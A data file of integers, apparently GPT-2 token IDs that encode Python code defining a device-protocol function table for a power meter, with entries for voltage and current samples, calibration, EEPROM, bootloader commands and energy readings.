20786,
13,
5162,
312,
796,
23336,
19,
198,
20786,
13,
3672,
796,
366,
53,
5978,
496,
7575,
50,
12629,
1,
198,
20786,
13,
11213,
796,
366,
3855,
262,
15004,
8405,
287,
24969,
40326,
1570,
4235,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
20530,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
27641,
20,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
23336,
20,
198,
20786,
13,
3672,
796,
366,
11297,
7575,
50,
12629,
1,
198,
20786,
13,
11213,
796,
366,
3855,
262,
1459,
8405,
287,
24969,
40326,
1570,
4235,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
20530,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
27641,
21,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
23336,
21,
198,
20786,
13,
3672,
796,
366,
53,
5978,
496,
20366,
80,
50,
12629,
1,
198,
20786,
13,
11213,
796,
366,
3855,
262,
8373,
39552,
286,
262,
15004,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
20530,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
27641,
22,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
23336,
22,
198,
20786,
13,
3672,
796,
366,
11297,
20366,
80,
50,
12629,
1,
198,
20786,
13,
11213,
796,
366,
3855,
262,
8373,
39552,
286,
262,
1459,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
20530,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
27641,
23,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
23336,
23,
198,
20786,
13,
3672,
796,
366,
36,
538,
398,
1,
198,
20786,
13,
11213,
796,
366,
961,
393,
3551,
304,
538,
398,
1366,
1,
198,
20786,
13,
961,
796,
657,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
20530,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
27641,
24,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
23336,
24,
198,
20786,
13,
3672,
796,
366,
14134,
571,
1358,
40161,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
20530,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
21,
2388,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
718,
2388,
198,
20786,
13,
3672,
796,
366,
36476,
5569,
2389,
1,
198,
20786,
13,
11213,
796,
366,
3855,
262,
11795,
286,
262,
4580,
36500,
13,
383,
2882,
4909,
262,
3815,
8574,
379,
4088,
2209,
657,
87,
5777,
2388,
290,
657,
87,
5777,
2388,
17,
13,
357,
23,
9881,
287,
2472,
16725,
198,
20786,
13,
961,
796,
657,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
8054,
486,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
10053,
486,
198,
20786,
13,
3672,
796,
366,
36476,
36046,
4677,
1,
198,
20786,
13,
11213,
796,
366,
36046,
284,
262,
3586,
11,
543,
4940,
379,
657,
87,
27559,
13,
220,
366,
198,
20786,
13,
961,
796,
657,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
9858,
44,
6981,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
657,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
7029,
1485,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
7337,
1485,
198,
20786,
13,
3672,
796,
366,
8322,
5105,
2655,
1,
198,
20786,
13,
11213,
796,
366,
12982,
4235,
329,
36428,
9729,
1,
198,
20786,
13,
961,
796,
657,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
9858,
44,
6981,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
21,
34215,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
718,
34215,
198,
20786,
13,
3672,
796,
366,
36476,
55,
9328,
32,
1,
198,
20786,
13,
11213,
796,
366,
18709,
257,
2512,
286,
19365,
1430,
4088,
1366,
13,
383,
875,
15109,
1366,
481,
788,
307,
3194,
656,
262,
1430,
357,
34167,
8,
4088,
526,
198,
20786,
13,
961,
796,
657,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
43434,
19,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
39064,
19,
198,
20786,
13,
3672,
796,
366,
36476,
9139,
589,
1,
198,
20786,
13,
11213,
796,
366,
9139,
589,
257,
2443,
286,
1430,
4088,
13,
383,
3275,
2753,
530,
11507,
11,
1312,
13,
68,
13,
262,
2443,
1271,
13,
48951,
2443,
1271,
329,
262,
288,
82,
47,
2149,
37,
41,
11645,
389,
422,
1467,
284,
16677,
526,
198,
20786,
13,
961,
796,
657,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
43434,
20,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
39064,
20,
198,
20786,
13,
3672,
796,
366,
36476,
9876,
17257,
1,
198,
20786,
13,
11213,
796,
357,
198,
220,
220,
220,
366,
2514,
651,
262,
1271,
286,
5468,
286,
262,
3586,
18779,
4088,
13,
5514,
5468,
1626,
428,
2837,
460,
307,
33588,
526,
198,
8,
198,
20786,
13,
961,
796,
657,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
8054,
940,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
10053,
940,
198,
20786,
13,
3672,
796,
366,
36476,
48944,
1,
198,
20786,
13,
11213,
796,
366,
2514,
900,
393,
19818,
262,
10007,
286,
262,
3335,
8574,
287,
7644,
1141,
3227,
357,
69,
9548,
4235,
8,
884,
355,
25,
220,
532,
220,
220,
220,
15678,
18779,
4686,
357,
49,
10234,
12,
17618,
8,
532,
220,
15678,
18779,
2196,
532,
220,
28715,
4522,
357,
49,
4221,
12,
17618,
8,
532,
220,
28715,
2196,
532,
220,
25105,
366,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
7029,
940,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
7337,
940,
198,
20786,
13,
3672,
796,
366,
35,
16045,
4805,
274,
316,
1,
198,
20786,
13,
11213,
796,
366,
4965,
316,
43729,
1,
198,
20786,
13,
961,
796,
657,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
9858,
44,
6981,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
1415,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1478,
198,
20786,
13,
3672,
796,
366,
11297,
4061,
1,
198,
20786,
13,
11213,
796,
366,
38,
1083,
262,
1459,
6101,
13,
1649,
43729,
318,
319,
11,
345,
460,
766,
994,
644,
20966,
318,
1813,
416,
262,
43729,
4382,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4061,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
3134,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
3134,
198,
20786,
13,
3672,
796,
366,
12982,
47790,
1,
198,
20786,
13,
11213,
796,
366,
12982,
23093,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
18601,
2751,
1,
198,
20786,
13,
2100,
7469,
13,
13664,
796,
1467,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
3104,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
3104,
198,
20786,
13,
3672,
796,
366,
12982,
35215,
1,
198,
20786,
13,
11213,
796,
366,
12982,
30275,
1,
198,
20786,
13,
961,
796,
657,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
18601,
2751,
1,
198,
20786,
13,
2100,
7469,
13,
13664,
796,
1467,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
3388,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
3388,
198,
20786,
13,
3672,
796,
366,
19452,
20941,
12982,
47790,
1,
198,
20786,
13,
11213,
796,
366,
19452,
20941,
11787,
23093,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
18601,
2751,
1,
198,
20786,
13,
2100,
7469,
13,
13664,
796,
1467,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2154,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2154,
198,
20786,
13,
3672,
796,
366,
19452,
20941,
12982,
35215,
1,
198,
20786,
13,
11213,
796,
366,
19452,
20941,
11787,
30275,
1,
198,
20786,
13,
961,
796,
657,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
18601,
2751,
1,
198,
20786,
13,
2100,
7469,
13,
13664,
796,
1467,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
8054,
1238,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
10053,
1238,
198,
20786,
13,
3672,
796,
366,
36476,
4677,
37,
86,
2389,
1,
198,
20786,
13,
11213,
796,
366,
33234,
2649,
286,
262,
18779,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
18601,
2751,
1,
198,
20786,
13,
2100,
7469,
13,
13664,
796,
807,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
8054,
2481,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
10053,
2481,
198,
20786,
13,
3672,
796,
366,
36476,
4677,
37,
86,
14815,
1,
198,
20786,
13,
11213,
796,
366,
33234,
2649,
286,
262,
6890,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
43717,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
1314,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1315,
198,
20786,
13,
3672,
796,
366,
4677,
1580,
13434,
1,
198,
20786,
13,
11213,
796,
366,
4677,
1580,
1176,
357,
5661,
318,
262,
1720,
286,
262,
1459,
290,
262,
15004,
16725,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
11731,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
1433,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1467,
198,
20786,
13,
3672,
796,
366,
13434,
41384,
1,
198,
20786,
13,
11213,
796,
366,
13434,
31412,
366,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
36521,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
20,
20943,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
642,
20943,
198,
20786,
13,
3672,
796,
366,
9452,
11297,
1,
198,
20786,
13,
11213,
796,
366,
44046,
2493,
1459,
5091,
1201,
938,
13259,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
62,
54,
10554,
62,
4694,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
718,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
32,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
513,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
20,
28555,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
24555,
16,
198,
20786,
13,
3672,
796,
366,
9452,
13434,
1,
198,
20786,
13,
11213,
796,
366,
44046,
2493,
1176,
1609,
1522,
1201,
938,
13259,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
62,
54,
10554,
62,
4694,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
718,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
54,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
20,
30206,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
24555,
17,
198,
20786,
13,
3672,
796,
366,
9452,
13434,
41384,
1,
198,
20786,
13,
11213,
796,
366,
44046,
1176,
31412,
1609,
1522,
583,
2493,
1201,
938,
13259,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
62,
54,
10554,
62,
4694,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
642,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
36521,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
20,
30273,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
24555,
18,
198,
20786,
13,
3672,
796,
366,
11518,
13434,
41384,
1,
198,
20786,
13,
11213,
796,
366,
40541,
1176,
31412,
1609,
1522,
583,
2493,
1201,
938,
13259,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
62,
54,
10554,
62,
4694,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
642,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
36521,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
1558,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1596,
198,
20786,
13,
3672,
796,
366,
14957,
11297,
1,
198,
20786,
13,
11213,
796,
366,
14957,
1459,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
32,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
513,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
1507,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1248,
198,
20786,
13,
3672,
796,
366,
14957,
15633,
13434,
1,
198,
20786,
13,
11213,
796,
366,
14957,
1103,
1176,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
54,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
42313,
2920,
3134,
27137,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
1129,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
678,
198,
20786,
13,
3672,
796,
366,
14957,
4677,
1580,
13434,
1,
198,
20786,
13,
11213,
796,
366,
14957,
4156,
1176,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
11731,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
42313,
2920,
3134,
27137,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
1238,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1160,
198,
20786,
13,
3672,
796,
366,
14957,
13739,
28925,
1,
198,
20786,
13,
11213,
796,
366,
14957,
4075,
2568,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
74,
1199,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
513,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
42313,
2920,
3134,
27137,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
2481,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
2310,
198,
20786,
13,
3672,
796,
366,
14957,
4677,
1580,
28925,
1,
198,
20786,
13,
11213,
796,
366,
14957,
4156,
2568,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
74,
53,
10910,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
513,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
42313,
2920,
3134,
27137,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
1828,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
2534,
198,
20786,
13,
3672,
796,
366,
14957,
13434,
41384,
1,
198,
20786,
13,
11213,
796,
366,
14957,
1176,
5766,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
36521,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
20,
28645,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
24555,
19,
198,
20786,
13,
3672,
796,
366,
9452,
14957,
11297,
1,
198,
20786,
13,
11213,
796,
366,
44046,
2493,
1459,
5091,
1201,
938,
13259,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
62,
54,
10554,
62,
4694,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
718,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
32,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
513,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
20,
25150,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
24555,
20,
198,
20786,
13,
3672,
796,
366,
9452,
14957,
13434,
1,
198,
20786,
13,
11213,
796,
366,
44046,
2493,
1176,
5091,
1201,
938,
13259,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
62,
54,
10554,
62,
4694,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
718,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
54,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
20,
27037,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
24555,
21,
198,
20786,
13,
3672,
796,
366,
9452,
14957,
13434,
41384,
1,
198,
20786,
13,
11213,
796,
366,
44046,
2472,
1176,
5766,
5091,
1201,
938,
13259,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
62,
54,
10554,
62,
4694,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
642,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
36521,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
20,
29326,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
24555,
22,
198,
20786,
13,
3672,
796,
366,
11518,
14957,
13434,
41384,
1,
198,
20786,
13,
11213,
796,
366,
40541,
2472,
1176,
5766,
5091,
1201,
938,
13259,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
62,
54,
10554,
62,
4694,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
642,
198,
20786,
13,
2100,
7469,
13,
20850,
